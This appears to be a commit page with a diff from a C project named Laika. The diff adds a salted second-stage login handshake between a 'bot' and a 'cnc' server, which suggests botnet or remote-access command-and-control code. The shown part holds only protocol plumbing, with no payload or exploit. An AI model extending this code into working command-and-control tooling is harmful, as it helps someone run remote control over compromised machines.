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CNC, Lib, Bot, Shell: New 2nd stage handshake

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- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4
This commit is contained in:
CPunch
2022-06-29 20:31:22 -05:00
parent db05f2eb13
commit 8092a636ca
12 changed files with 126 additions and 66 deletions
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15
bot/src/bot.c
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@@ -8,10 +8,21 @@
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
/* sent PEER_LOGIN packet */
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
laikaS_writeByte(&peer->sock, PEER_BOT);
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
@@ -29,7 +40,7 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
laikaB_handleHandshakeResponse,
sizeof(uint8_t),
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
laikaB_handlePing,